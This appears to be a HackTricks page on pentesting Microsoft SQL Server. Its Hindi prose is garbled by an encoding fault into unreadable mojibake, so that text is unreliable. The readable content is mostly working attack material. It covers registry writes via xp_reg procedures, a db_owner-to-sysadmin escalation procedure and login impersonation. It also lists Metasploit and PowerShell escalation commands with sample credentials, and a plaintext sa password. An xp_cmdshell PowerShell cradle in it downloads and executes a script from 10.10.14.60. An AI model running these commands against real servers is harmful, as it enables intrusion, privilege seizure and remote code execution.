Microsoft SQL Server рдХрдИ рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рд╕реНрдЯреЛрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдЖрдкрдХреЛ рди рдХреЗрд╡рд▓ рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рд╕рд╛рде рдмрд▓реНрдХрд┐ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдФрд░ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ Windows Registry** рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИрдВ:**
рдирд┐рдпрдорд┐рдд | рдЗрдВрд╕реНрдЯреЗрдВрд╕-рдЬрд╛рдирдХрд╛рд░реА |
---|---|
sys.xp_regread | sys.xp_instance_regread |
sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
sys.xp_regenumkeys | sys.xp_instance_regenumkeys |
sys.xp_regwrite | sys.xp_instance_regwrite |
sys.xp_regdeletevalue | sys.xp_instance_regdeletevalue |
sys.xp_regdeletekey | sys.xp_instance_regdeletekey |
sys.xp_regaddmultistring | sys.xp_instance_regaddmultistring |
sys.xp_regremovemultistring | sys.xp_instance_regremovemultistring |
# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
For more examples check out the original source.
RCE with MSSQL User Defined Function - SQLHttp
рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ MSSQL рдореЗрдВ рдХрд╕реНрдЯрдо рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХреЗ рд╕рд╛рде .NET dll рд▓реЛрдб рдХрд░реЗрдВред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрд╣ dbo
рдПрдХреНрд╕реЗрд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдЗрд╕рд▓рд┐рдП рдЖрдкрдХреЛ sa
рдпрд╛ рдПрдХ Administrator рднреВрдорд┐рдХрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЗ рд╕рд╛рде рдПрдХ рдХрдиреЗрдХреНрд╢рди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред
Following this link to see an example.
Other ways for RCE
рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрди рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рдЕрдиреНрдп рддрд░реАрдХреЗ рд╣реИрдВ, рдЬреИрд╕реЗ extended stored procedures, CLR Assemblies, SQL Server Agent Jobs, рдФрд░ external scriptsред
MSSQL Privilege Escalation
From db_owner to sysadmin
рдпрджрд┐ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ db_owner
рднреВрдорд┐рдХрд╛ рджреА рдЬрд╛рддреА рд╣реИ рдПрдХ рдбреЗрдЯрд╛рдмреЗрд╕ рдкрд░ рдЬреЛ рдПрдХ admin рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ (рдЬреИрд╕реЗ sa
) рджреНрд╡рд╛рд░рд╛ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдореЗрдВ рд╣реИ рдФрд░ рд╡рд╣ рдбреЗрдЯрд╛рдмреЗрд╕ trustworthy
рдХреЗ рд░реВрдк рдореЗрдВ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рд╡рд╣ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрди рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ privesc рдХреЗ рд▓рд┐рдП рдХреНрдпреЛрдВрдХрд┐ рд╡рд╣рд╛рдБ рдмрдирд╛рдП рдЧрдП stored procedures рдХреЛ admin рдХреЗ рд░реВрдк рдореЗрдВ execute рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;
# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'
--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me
--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')
рдЖрдк metasploit рдореЙрдбреНрдпреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
рдпрд╛ рдПрдХ PS рд╕реНрдХреНрд░рд┐рдкреНрдЯ:
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХрд╛ рдЕрдиреБрдХрд░рдг
SQL Server рдореЗрдВ рдПрдХ рд╡рд┐рд╢реЗрд╖ рдЕрдиреБрдорддрд┐ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдирд╛рдо IMPERSONATE
рд╣реИ, рдЬреЛ рдХрд╛рд░реНрдпрд░рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдХрд┐рд╕реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдпрд╛ рд▓реЙрдЧрд┐рди рдХреА рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рдЕрдкрдирд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ рдЬрдм рддрдХ рдХрд┐ рд╕рдВрджрд░реНрдн рдХреЛ рд░реАрд╕реЗрдЯ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рдпрд╛ рд╕рддреНрд░ рд╕рдорд╛рдкреНрдд рдирд╣реАрдВ рд╣реЛрддрд╛ред
# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned
# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
# If you can't find any users, make sure to check for links
enum_links
# If there is a link of interest, re-run the above steps on each link
use_link [NAME]
{% hint style="info" %} рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдирдХрд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рднрд▓реЗ рд╣реА рд╡рд╣ sysadmin рди рд╣реЛ, рддреЛ рдЖрдкрдХреЛ рдпрд╣ рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЕрдиреНрдп databases рдпрд╛ рд▓рд┐рдВрдХ рдХрд┐рдП рдЧрдП рд╕рд░реНрд╡рд░реЛрдВ рддрдХ рдкрд╣реБрдВрдЪ рд╣реИред {% endhint %}
рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдк sysadmin рдмрди рдЬрд╛рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдХрд┐рд╕реА рдЕрдиреНрдп рдХреА рдирдХрд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT
рдЖрдк рдЗрд╕ рд╣рдорд▓реЗ рдХреЛ metasploit рдореЙрдбреНрдпреВрд▓ рдХреЗ рд╕рд╛рде рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
рдпрд╛ PS рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рд╕рд╛рде:
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
MSSQL рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕реНрдерд┐рд░рддрд╛ рдХреЗ рд▓рд┐рдП
https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/
SQL рд╕рд░реНрд╡рд░ рд▓рд┐рдВрдХреНрдб рд╕рд░реНрд╡рд░реЛрдВ рд╕реЗ рдкрд╛рд╕рд╡рд░реНрдб рдирд┐рдХрд╛рд▓рдирд╛
рдПрдХ рд╣рдорд▓рд╛рд╡рд░ SQL рд╕рд░реНрд╡рд░ рд▓рд┐рдВрдХреНрдб рд╕рд░реНрд╡рд░реЛрдВ рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ SQL рдЗрдВрд╕реНрдЯреЗрдВрд╕ рд╕реЗ рдирд┐рдХрд╛рд▓ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЙрдиреНрд╣реЗрдВ рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рдореЗрдВ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдРрд╕реЗ рдкрд╛рд╕рд╡рд░реНрдб рдорд┐рд▓рддреЗ рд╣реИрдВ рдЬрд┐рдирдХрд╛ рдЙрдкрдпреЛрдЧ рд▓рдХреНрд╖реНрдп рдкрд░ рдЕрдзрд┐рдХ рдкрдХрдбрд╝ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд▓рд┐рдВрдХреНрдб рд╕рд░реНрд╡рд░реЛрдВ рдХреЗ рд▓рд┐рдП рд╕рдВрдЧреНрд░рд╣реАрдд рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рдирд┐рдХрд╛рд▓рдиреЗ рдФрд░ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдпрд╣рд╛рдБ рдорд┐рд▓ рд╕рдХрддреА рд╣реИред
рдЗрд╕ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдЖрд╡рд╢реНрдпрдХрддрд╛рдПрдБ рдФрд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрд┐рдП рдЬрд╛рдиреЗ рдЪрд╛рд╣рд┐рдПред рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдЖрдкрдХреЗ рдкрд╛рд╕ рдорд╢реАрди рдкрд░ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЕрдзрд┐рдХрд╛рд░ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рдпрд╛ SQL рд╕рд░реНрд╡рд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдПред
рдЕрдкрдиреА рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рдорд╛рдиреНрдп рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдЖрдкрдХреЛ рддреАрди рдЪреАрдЬреЗрдВ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдиреА рд╣реЛрдВрдЧреА, рдЬреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╣реИрдВ:
- SQL рд╕рд░реНрд╡рд░ рдЗрдВрд╕реНрдЯреЗрдВрд╕ рдкрд░ TCP/IP рд╕рдХреНрд╖рдо рдХрд░реЗрдВ;
- рдПрдХ рд╕реНрдЯрд╛рд░реНрдЯ рдЕрдк рдкреИрд░рд╛рдореАрдЯрд░ рдЬреЛрдбрд╝реЗрдВ, рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рдПрдХ рдЯреНрд░реЗрд╕ рдлреНрд▓реИрдЧ рдЬреЛрдбрд╝рд╛ рдЬрд╛рдПрдЧрд╛, рдЬреЛ -T7806 рд╣реИред
- рджреВрд░рд╕реНрде рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдХрдиреЗрдХреНрд╢рди рд╕рдХреНрд╖рдо рдХрд░реЗрдВред
рдЗрди рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рдиреЛрдВ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдпрд╣ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдЖрд╡рд╢реНрдпрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯреЗрдВ рд░рдЦрддреА рд╣реИред рдкреНрд░рддреНрдпреЗрдХ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЗ рдЪрд░рдг рдХреЗ рд▓рд┐рдП рдПрдХ рдкреЙрд╡рд░рд╢реЗрд▓ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╣реЛрдиреЗ рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдореЗрдВ рдПрдХ рдкреВрд░реНрдг рд╕реНрдХреНрд░рд┐рдкреНрдЯ рднреА рд╣реИ рдЬреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рд╕реНрдХреНрд░рд┐рдкреНрдЯреЛрдВ рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рдирд┐рд╖реНрдХрд░реНрд╖рдг рдФрд░ рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди рдХреЛ рд╕рдВрдпреЛрдЬрд┐рдд рдХрд░рддреА рд╣реИред
рдЗрд╕ рд╣рдорд▓реЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд▓рд┐рдВрдХ рджреЗрдЦреЗрдВ: MSSQL рдбреЗрдЯрд╛рдмреЗрд╕ рд▓рд┐рдВрдХ рд╕рд░реНрд╡рд░ рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди
рд╕реНрдерд╛рдиреАрдп рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐
MSSQL рд╕рд░реНрд╡рд░ рдЪрд▓рд╛рдиреЗ рд╡рд╛рд▓рд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдЯреЛрдХрди SeImpersonatePrivilege рд╕рдХреНрд╖рдо рдХрд░реЗрдЧрд╛ред
рдЖрдк рд╢рд╛рдпрдж рдЗрдирдореЗрдВ рд╕реЗ рдПрдХ 2 рдкреГрд╖реНрдареЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░рддреЗ рд╣реБрдП рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдореЗрдВ рд╡реГрджреНрдзрд┐ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдВрдЧреЗ:
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/juicypotato.md" %} juicypotato.md {% endcontent-ref %}
Shodan
port:1433 !HTTP
рд╕рдВрджрд░реНрдн
- https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users
- https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/
- https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/
- https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/
- https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/
- https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/
- https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/
- https://mayfly277.github.io/posts/GOADv2-pwning-part12/
HackTricks рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЖрджреЗрд╢
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
Port_Number: 1433 #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applicationsтАФwhich may run either on the same computer or on another computer across a network (including the Internet).
#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G
###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go
2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go
3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server
Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}
Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'
{% hint style="success" %}
рд╕реАрдЦреЗрдВ рдФрд░ AWS рд╣реИрдХрд┐рдВрдЧ рдХрд╛ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
рд╕реАрдЦреЗрдВ рдФрд░ GCP рд╣реИрдХрд┐рдВрдЧ рдХрд╛ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ
- рд╕рджрд╕реНрдпрддрд╛ рдпреЛрдЬрдирд╛рдПрдБ рджреЗрдЦреЗрдВ!
- рд╣рдорд╛рд░реЗ ЁЯТм Discord рд╕рдореВрд╣ рдпрд╛ рдЯреЗрд▓реАрдЧреНрд░рд╛рдо рд╕рдореВрд╣ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВ рдпрд╛ рд╣рдореЗрдВ Twitter ЁЯРж @hacktricks_live** рдкрд░ рдлреЙрд▓реЛ рдХрд░реЗрдВред**
- рд╣реИрдХрд┐рдВрдЧ рдЯреНрд░рд┐рдХреНрд╕ рд╕рд╛рдЭрд╛ рдХрд░реЗрдВ рдФрд░ HackTricks рдФрд░ HackTricks Cloud рдЧрд┐рдЯрд╣рдм рд░рд┐рдкреЛрдЬрд┐рдЯрд░реА рдореЗрдВ PRs рд╕рдмрдорд┐рдЯ рдХрд░реЗрдВред